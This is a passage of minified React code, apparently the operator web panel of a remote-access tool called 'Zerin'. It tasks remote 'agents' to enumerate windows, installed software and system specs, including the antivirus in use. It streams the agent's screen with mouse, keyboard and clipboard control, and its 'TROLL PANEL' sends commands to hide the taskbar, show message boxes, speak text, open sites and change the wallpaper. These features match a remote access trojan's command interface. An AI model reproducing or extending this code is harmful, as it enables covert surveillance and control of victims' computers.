text-xs text-zerin-text-dim",children:y.pid}),a.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text truncate max-w-[400px]",children:y.title}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted truncate",children:y.class})]},`${y.hwnd}-${v}`))})]})}),a.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[g.length," window",g.length!==1?"s":""]})]}):c&&n.length===0?a.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No visible windows found"}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 8l7.89 5.26a2 2 0 002.22 0L21 8M5 19h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list visible windows on the agent"})]})})]})}function tV({agentId:e,agentStatus:t}){const[n,r]=m.useState([]),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(""),[p,h]=m.useState("name"),[x,g]=m.useState("asc"),y=t==="dead",v=m.useRef(null);m.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=m.useCallback(async()=>{if(!y){s(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:z}=await Me(e,{command:"installed_apps"});u(!0);let S=0;const O=30;v.current=setInterval(async()=>{var A;S++;try{const P=(A=(await Xn(e)).results)==null?void 0:A.find(D=>D.task_id===z);if(P){if(v.current&&clearInterval(v.current),v.current=null,s(!1),P.error){l(P.error);return}if(P.output)try{const D=JSON.parse(P.output);r(D)}catch{l("Failed to parse installed apps data")}}else S>=O&&(v.current&&clearInterval(v.current),v.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(z){l(z instanceof Error?z.message:"Failed to send command"),s(!1)}}},[e,y]);function w(z){p===z?g(S=>S==="asc"?"desc":"asc"):(h(z),g("asc"))}const N=[...d?n.filter(z=>{const S=d.toLowerCase();return z.name.toLowerCase().includes(S)||z.version.toLowerCase().includes(S)||z.publisher.toLowerCase().includes(S)}):n].sort((z,S)=>{const O=z[p]||"",A=S[p]||"",T=O.localeCompare(A,void 0,{sensitivity:"base"});return x==="asc"?T:-T}),k=({col:z})=>p!==z?null:x==="asc"?a.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):a.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})});return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r
|
||
bg-zerin-accent text-white hover:bg-zerin-accent-hover\r
|
||
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),a.jsxs("div",{className:"relative flex-1 max-w-xs",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:d,onChange:z=>f(z.target.value),placeholder:"Filter apps...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r
|
||
text-xs text-zerin-text placeholder-zerin-text-muted\r
|
||
focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?N.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsxs("th",{onClick:()=>w("name"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text",children:["Name ",a.jsx(k,{col:"name"})]}),a.jsxs("th",{onClick:()=>w("version"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[140px]",children:["Version ",a.jsx(k,{col:"version"})]}),a.jsxs("th",{onClick:()=>w("publisher"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[200px]",children:["Publisher ",a.jsx(k,{col:"publisher"})]}),a.jsxs("th",{onClick:()=>w("install_date"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[120px]",children:["Installed ",a.jsx(k,{col:"install_date"})]})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:N.map((z,S)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text",children:z.name}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:z.version||"-"}),a.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text-muted truncate",children:z.publisher||"-"}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted",children:z.install_date||"-"})]},`${z.name}-${S}`))})]})}),a.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[N.length," application",N.length!==1?"s":""]})]}):c&&n.length===0?a.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No installed applications found"}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 7.5l-.625 10.632a2.25 2.25 0 01-2.247 2.118H6.622a2.25 2.25 0 01-2.247-2.118L3.75 7.5M10 11.25h4M3.375 7.5h17.25c.621 0 1.125-.504 1.125-1.125v-1.5c0-.621-.504-1.125-1.125-1.125H3.375c-.621 0-1.125.504-1.125 1.125v1.5c0 .621.504 1.125 1.125 1.125z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list installed applications"})]})})]})}function nV({agentId:e,agentStatus:t}){const[n,r]=m.useState(null),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),d=t==="dead",f=m.useRef(null);m.useEffect(()=>()=>{f.current&&clearInterval(f.current)},[]);const p=m.useCallback(async()=>{if(!d){s(!0),l(""),r(null),f.current&&(clearInterval(f.current),f.current=null);try{const{task_id:h}=await Me(e,{command:"specs"});u(!0);let x=0;const g=30;f.current=setInterval(async()=>{var y;x++;try{const b=(y=(await Xn(e)).results)==null?void 0:y.find(w=>w.task_id===h);if(b){if(f.current&&clearInterval(f.current),f.current=null,s(!1),b.error){l(b.error);return}if(b.output)try{const w=JSON.parse(b.output);r(w)}catch{l("Failed to parse system specs")}}else x>=g&&(f.current&&clearInterval(f.current),f.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(h){l(h instanceof Error?h.message:"Failed to send command"),s(!1)}}},[e,d]);return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:p,disabled:d||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r
|
||
bg-zerin-accent text-white hover:bg-zerin-accent-hover\r
|
||
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),d&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n?a.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-3 gap-4",children:[a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8.25 3v1.5M4.5 8.25H3m18 0h-1.5M4.5 12H3m18 0h-1.5m-15 3.75H3m18 0h-1.5M8.25 19.5V21M12 3v1.5m0 15V21m3.75-18v1.5m0 15V21m-9-1.5h10.5a2.25 2.25 0 002.25-2.25V6.75a2.25 2.25 0 00-2.25-2.25H6.75A2.25 2.25 0 004.5 6.75v10.5a2.25 2.25 0 002.25 2.25z"})}),"Hardware"]})}),a.jsxs("div",{className:"p-4 space-y-3",children:[a.jsx(Di,{label:"CPU",value:n.cpu}),a.jsx(Di,{label:"Cores",value:`${n.cores_physical} physical / ${n.cores_logical} logical`}),a.jsx(Di,{label:"RAM",value:`${n.ram_total_gb.toFixed(1)} GB total / ${n.ram_available_gb.toFixed(1)} GB free`}),a.jsx(Di,{label:"GPU",value:n.gpu})]})]}),a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})}),"Storage"]})}),a.jsxs("div",{className:"p-4 space-y-3",children:[n.disks.map((h,x)=>a.jsxs("div",{children:[a.jsxs("div",{className:"flex items-center justify-between text-xs mb-1",children:[a.jsx("span",{className:"font-mono text-zerin-text",children:h.mount}),a.jsxs("span",{className:"text-zerin-text-muted",children:[(h.total_gb-h.free_gb).toFixed(1)," / ",h.total_gb.toFixed(1)," GB"]})]}),a.jsx("div",{className:"w-full h-2 bg-zerin-bg rounded-sm overflow-hidden",children:a.jsx("div",{className:`h-full transition-all ${h.used_pct>90?"bg-zerin-danger":h.used_pct>75?"bg-yellow-500":"bg-zerin-accent"}`,style:{width:`${Math.min(h.used_pct,100)}%`}})}),a.jsxs("div",{className:"text-right text-[10px] text-zerin-text-muted mt-0.5",children:[h.used_pct.toFixed(1),"% used"]})]},`${h.mount}-${x}`)),n.disks.length===0&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No disk info available"})]})]}),a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75L11.25 15 15 9.75m-3-7.036A11.959 11.959 0 013.598 6 11.99 11.99 0 003 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285z"})}),"Software"]})}),a.jsxs("div",{className:"p-4 space-y-3",children:[a.jsx(Di,{label:"OS",value:n.os}),a.jsx(Di,{label:"AV",value:n.av}),a.jsx(Di,{label:"Uptime",value:`${n.uptime_days}d ${n.uptime_hours}h ${n.uptime_minutes}m`})]})]})]}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to collect system specifications"})]})})]})}function Di({label:e,value:t}){return a.jsxs("div",{children:[a.jsx("p",{className:"text-zerin-text-muted text-[10px] uppercase tracking-wider mb-0.5",children:e}),a.jsx("p",{className:"text-zerin-text text-sm",children:t})]})}function rV(e,t,n){if(t+8>n)return{cols:0,rows:0,cursorX:0,cursorY:0,numDirty:0,tiles:[]};let r=t;const i=e.getUint8(r);r+=1;const s=e.getUint8(r);r+=1;const o=e.getUint16(r,!0);r+=2;const l=e.getUint16(r,!0);r+=2;const c=e.getUint16(r,!0);r+=2;const u=[];for(let d=0;d<c&&r<n;d++){const f=e.getUint8(r);r+=1;const p=e.getUint8(r);r+=1;const h=e.getUint8(r);r+=1;const x=e.getUint32(r,!0);r+=4;const g=new Uint8Array(e.buffer.slice(e.byteOffset+r,e.byteOffset+r+x));r+=x,u.push({col:f,row:p,codec:h,data:g})}return{cols:i,rows:s,cursorX:o,cursorY:l,numDirty:c,tiles:u}}const Rb=typeof OffscreenCanvas<"u";function kv({agentId:e,mode:t="vnc",onFrame:n,onDisconnect:r}){const i=m.useRef(null),s=m.useRef(null),[o,l]=m.useState(!1),[c,u]=m.useState({fps:0,frameCount:0,width:0,height:0,lastFrameMs:0,dirtyTiles:0,totalTiles:0}),d=m.useRef(!1),f=m.useRef(null),p=m.useRef(n);p.current=n;const h=m.useRef(null),x=m.useRef(null),g=m.useRef([]),y=m.useRef([]),v=m.useRef(null),b=m.useRef(null),w=m.useRef(null),j=m.useRef(!1),N=60,k=m.useRef(new Float64Array(N)),z=m.useRef(0),S=m.useRef(0),O=m.useRef({frameCount:0,fps:0,width:0,height:0,lastFrameMs:0,dirtyTiles:0,totalTiles:0}),A=m.useRef(null),T=m.useRef(null),P=m.useRef(!1),D=m.useRef(60);m.useEffect(()=>(A.current=window.setInterval(()=>{const q=O.current;u(te=>te.fps===q.fps&&te.frameCount===q.frameCount&&te.dirtyTiles===q.dirtyTiles&&te.totalTiles===q.totalTiles?te:{fps:q.fps,frameCount:q.frameCount,width:q.width,height:q.height,lastFrameMs:q.lastFrameMs,dirtyTiles:q.dirtyTiles,totalTiles:q.totalTiles})},500),()=>{A.current&&clearInterval(A.current)}),[]);const G=m.useCallback((q,te)=>{h.current||(h.current=document.createElement("canvas"));const C=h.current;return(C.width!==q||C.height!==te)&&(C.width=q,C.height=te,x.current=null),x.current||(x.current=C.getContext("2d",{willReadFrequently:!1})),{canvas:C,ctx:x.current}},[]),R=m.useRef(new ArrayBuffer(5)),K=m.useRef(new DataView(R.current)),_=m.useCallback(q=>{var te;((te=i.current)==null?void 0:te.readyState)===WebSocket.OPEN&&!d.current&&i.current.send(q)},[]),M=m.useMemo(()=>({sendMouseMove:(q,te)=>{const C=K.current;C.setUint8(0,1),C.setUint16(1,q,!0),C.setUint16(3,te,!0),_(R.current)},sendMouseButton:(q,te,C,Y)=>{const ne=new ArrayBuffer(7),B=new DataView(ne);B.setUint8(0,2),B.setUint8(1,q),B.setUint8(2,te),B.setUint16(3,C,!0),B.setUint16(5,Y,!0),_(ne)},sendMouseScroll:(q,te,C)=>{const Y=new ArrayBuffer(7),ne=new DataView(Y);ne.setUint8(0,3),ne.setInt16(1,q,!0),ne.setUint16(3,te,!0),ne.setUint16(5,C,!0),_(Y)},sendKey:(q,te,C)=>{const Y=new ArrayBuffer(8),ne=new DataView(Y);ne.setUint8(0,4),ne.setUint8(1,q),ne.setUint16(2,te,!0),ne.setUint32(4,C,!0),_(Y)},sendClipboard:q=>{const te=new TextEncoder().encode(q),C=new ArrayBuffer(5+te.length),Y=new DataView(C);Y.setUint8(0,5),Y.setUint32(1,te.length,!0),new Uint8Array(C,5).set(te),_(C)},setQuality:q=>{D.current=q;const te=new ArrayBuffer(3),C=new DataView(te);C.setUint8(0,6),C.setUint8(1,1),C.setUint8(2,q),_(te)},setViewOnly:q=>{d.current=q},sendControl:(q,te)=>{const C=new ArrayBuffer(3),Y=new DataView(C);Y.setUint8(0,6),Y.setUint8(1,q),Y.setUint8(2,te),_(C)}}),[_]),F=m.useCallback(()=>{if(!Rb||f.current)return;const q=new Worker(new URL("/assets/vnc-decode.worker-EPE-JCx4.js",import.meta.url),{type:"module"});q.onmessage=te=>{if(te.data.type==="frame"){const{bitmap:C,width:Y,height:ne,cursorX:B,cursorY:le}=te.data;p.current(C,Y,ne,B,le)}},f.current=q},[]),U=m.useCallback(()=>{f.current&&(f.current.terminate(),f.current=null)},[]),V=m.useCallback(()=>{if(Rb||b.current!==null)return;const q=()=>{const te=y.current,C=g.current,Y=w.current;if((te.length>0||C.length>0)&&Y){const{canvas:ne,ctx:B}=G(Y.width,Y.height);for(const le of te)B.fillStyle=`rgb(${le.r},${le.g},${le.b})`,B.fillRect(le.col*le.tileSize,le.row*le.tileSize,le.tileSize,le.tileSize);for(const le of C)B.drawImage(le.bitmap,le.col*le.tileSize,le.row*le.tileSize),le.bitmap.close();y.current=[],g.current=[],p.current(ne,Y.width,Y.height,Y.cursorX,Y.cursorY)}b.current=requestAnimationFrame(q)};b.current=requestAnimationFrame(q)},[G]),Z=m.useCallback(()=>{b.current!==null&&(cancelAnimationFrame(b.current),b.current=null);for(const q of g.current)q.bitmap.close();g.current=[],y.current=[]},[]),ae=m.useCallback(()=>{if(T.current!==null)return;const q=64*1024;T.current=window.setInterval(()=>{const te=i.current;if(!(!te||te.readyState!==WebSocket.OPEN)){if(te.bufferedAmount>q&&!P.current){P.current=!0;const C=new ArrayBuffer(3),Y=new DataView(C);Y.setUint8(0,6),Y.setUint8(1,1),Y.setUint8(2,30),_(C)}else if(te.bufferedAmount<=q/2&&P.current){P.current=!1;const C=new ArrayBuffer(3),Y=new DataView(C);Y.setUint8(0,6),Y.setUint8(1,1),Y.setUint8(2,D.current),_(C)}}},250)},[_]),ue=m.useCallback(()=>{T.current!==null&&(clearInterval(T.current),T.current=null),P.current=!1},[]),be=m.useCallback(()=>{if(i.current)return;const q=st();if(!q)return;const C=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/vnc/${e}/ws?mode=${t}`,Y=new WebSocket(C);Y.binaryType="arraybuffer",i.current=Y,Y.onopen=()=>{Y.send(JSON.stringify({type:"auth",token:q})),l(!0),F(),V(),ae()},Y.onmessage=ne=>{if(!(ne.data instanceof ArrayBuffer))return;const B=new DataView(ne.data);if(ne.data.byteLength<13)return;const le=B.getUint16(0,!0),we=B.getUint16(2,!0),Ne=Number(B.getBigUint64(4,!0)),Ae=B.getUint8(12),$=performance.now(),fe=k.current,ve=z.current%N;fe[ve]=$,z.current=ve+1,S.current<N&&S.current++;let H=0;const se=S.current;if(se>1){const Q=fe[(ve+1-se+N)%N],he=($-Q)/1e3;he>0&&(H=Math.round((se-1)/he))}const W=O.current;if(W.frameCount++,W.fps=H,W.width=le,W.height=we,W.lastFrameMs=Ne,Ae===1){const Q=rV(B,13,ne.data.byteLength);W.dirtyTiles=Q.numDirty,W.totalTiles=Q.cols*Q.rows;const he=Q.cols>0?Math.ceil(le/Q.cols):128,E=Q.tiles.filter(J=>J.codec===1),ce=Q.tiles.filter(J=>J.codec===2);if(f.current){const J=[],xe=E.map(ze=>{const X=ze.data.buffer.slice(ze.data.byteOffset,ze.data.byteOffset+ze.data.byteLength);return J.push(X),{col:ze.col,row:ze.row,data:X}}),ke=ce.map(ze=>({col:ze.col,row:ze.row,r:ze.data[0],g:ze.data[1],b:ze.data[2]}));f.current.postMessage({type:"tiles",tiles:xe,solids:ke,width:le,height:we,cursorX:Q.cursorX,cursorY:Q.cursorY,tileSize:he},J)}else{w.current={width:le,height:we,cursorX:Q.cursorX,cursorY:Q.cursorY};for(const J of ce)y.current.push({col:J.col,row:J.row,r:J.data[0],g:J.data[1],b:J.data[2],tileSize:he});if(E.length>0){if(j.current){v.current||(v.current=[]);for(const xe of E){const ke=v.current.findIndex(ze=>ze.col===xe.col&&ze.row===xe.row);ke>=0?v.current[ke]={...xe,tileSize:he}:v.current.push({...xe,tileSize:he})}return}j.current=!0;let J=E.map(xe=>({...xe,tileSize:he}));if(v.current&&v.current.length>0){for(const xe of v.current)J.findIndex(ze=>ze.col===xe.col&&ze.row===xe.row)<0&&J.push(xe);v.current=[]}Promise.all(J.map(xe=>{const ke=new Blob([xe.data],{type:"image/jpeg"});return createImageBitmap(ke).then(ze=>({bitmap:ze,col:xe.col,row:xe.row,tileSize:xe.tileSize}))})).then(xe=>{j.current=!1;for(const ke of xe)g.current.push(ke)}).catch(()=>{j.current=!1})}}}else{W.dirtyTiles=0,W.totalTiles=0,s.current&&URL.revokeObjectURL(s.current);const Q=new Uint8Array(ne.data,13),he=new Blob([Q],{type:"image/jpeg"}),E=URL.createObjectURL(he);s.current=E,p.current(E,le,we)}},Y.onclose=()=>{l(!1),i.current=null,U(),Z(),ue(),r==null||r()},Y.onerror=()=>{Y.close()}},[e,t,r,F,U,V,Z,ae,ue]),ye=m.useCallback(()=>{i.current&&(i.current.close(),i.current=null),s.current&&(URL.revokeObjectURL(s.current),s.current=null),U(),Z(),ue(),l(!1)},[U,Z,ue]);return m.useEffect(()=>()=>{i.current&&(i.current.close(),i.current=null),s.current&&URL.revokeObjectURL(s.current),U(),Z(),ue()},[U,Z,ue]),{isConnected:o,stats:c,controls:M,connect:be,disconnect:ye}}function iV({agentId:e}){const t=m.useRef(null),n=m.useRef(null),[r,i]=m.useState(!1),s=m.useRef(!1),[o,l]=m.useState({w:0,h:0}),[c,u]=m.useState(!0),[d,f]=m.useState(null),[p,h]=m.useState(!1),[x,g]=m.useState("Zerin"),[y,v]=m.useState(""),[b,w]=m.useState(!1),[j,N]=m.useState(""),[k,z]=m.useState(!1),[S,O]=m.useState("https://"),[A,T]=m.useState(!1),[P,D]=m.useState(""),[G,R]=m.useState(!1),[K,_]=m.useState(!1),[M,F]=m.useState(!1),[U,V]=m.useState(!1),[Z,ae]=m.useState(!1),[ue,be]=m.useState(!1),ye=(H,se="ok")=>{f({text:H,type:se}),setTimeout(()=>f(null),2500)},q=m.useCallback((H,se,W)=>{s.current||(s.current=!0,i(!0)),l({w:se,h:W});const Q=t.current;if(!Q)return;const he=Q.getContext("2d");if(he)if((Q.width!==se||Q.height!==W)&&(Q.width=se,Q.height=W),typeof H=="string"){const E=n.current||new Image;n.current=E,E.onload=()=>he.drawImage(E,0,0),E.src=H}else H instanceof ImageBitmap?(he.drawImage(H,0,0),H.close()):he.drawImage(H,0,0)},[]),{isConnected:te,stats:C,connect:Y}=kv({agentId:e,onFrame:q}),[ne,B]=m.useState(!1);m.useEffect(()=>{!e||!ne||Ex(e).then(()=>Y()).catch(()=>{Y()})},[e,Y,ne]);const le=async(H,se)=>{try{await Me(e,{command:H,args:se}),ye(`Sent: ${H}`)}catch{ye(`Failed: ${H}`,"err")}},we=()=>{const H=!c;u(H),le("troll_taskbar",[H?"show":"hide"])},Ne=(H,se,W)=>{const Q=!H;se(Q),le(W,[Q?"on":"off"])},Ae=()=>{y.trim()&&(le("troll_msgbox",[y,x||"Zerin"]),h(!1),v(""),g("Zerin"))},$=()=>{j.trim()&&(le("troll_tts",[j]),w(!1),N(""))},fe=()=>{if(!(!S.trim()||S==="https://")){if(!/^https?:\/\//i.test(S)){ye("URL must start with http:// or https://","err");return}le("troll_website",[S]),z(!1),O("https://")}},ve=()=>{P.trim()&&(le("troll_wallpaper",[P]),T(!1),D(""))};return a.jsxs("div",{className:"flex flex-col h-full overflow-hidden",children:[a.jsxs("div",{className:"flex items-center gap-3 px-5 py-2.5 shrink-0 border-b border-[#1a1a20]",style:{background:"linear-gradient(180deg, #111115 0%, #0d0d11 100%)"},children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("div",{className:"w-5 h-5 flex items-center justify-center",style:{background:"rgba(239, 68, 68, 0.1)",border:"1px solid rgba(239, 68, 68, 0.2)"},children:a.jsxs("svg",{className:"w-3 h-3",viewBox:"0 0 24 24",fill:"none",stroke:"#ef4444",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.362 5.214A8.252 8.252 0 0112 21 8.25 8.25 0 016.038 7.048 8.287 8.287 0 009 9.6a8.983 8.983 0 013.361-6.867 8.21 8.21 0 003 2.48z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18a3.75 3.75 0 00.495-7.467 5.99 5.99 0 00-1.925 3.546 5.974 5.974 0 01-2.133-1A3.75 3.75 0 0012 18z"})]})}),a.jsx("span",{className:"font-display text-sm font-semibold tracking-wide text-[#ef4444]/80",children:"TROLL PANEL"})]}),a.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:te&&r?"#22C55E":te?"#eab308":"#ef4444",boxShadow:te?"0 0 6px rgba(34,197,94,0.4)":"none"}}),a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:te&&r?"LIVE":te?"BUFFERING":"CONNECTING"})]}),te&&a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),a.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[a.jsx("span",{className:"text-zerin-accent",children:C.fps})," FPS"]}),o.w>0&&a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),a.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[o.w,"×",o.h]})]})]}),a.jsx("div",{className:"flex-1"}),a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40",children:"VIEW ONLY"})]}),a.jsxs("div",{className:"flex flex-1 min-h-0 overflow-hidden",children:[a.jsxs("div",{className:"w-[200px] shrink-0 flex flex-col border-r border-[#1a1a20] overflow-y-auto",style:{background:"#0b0b0f"},children:[a.jsx("div",{className:"px-3 pt-3 pb-2",children:a.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] 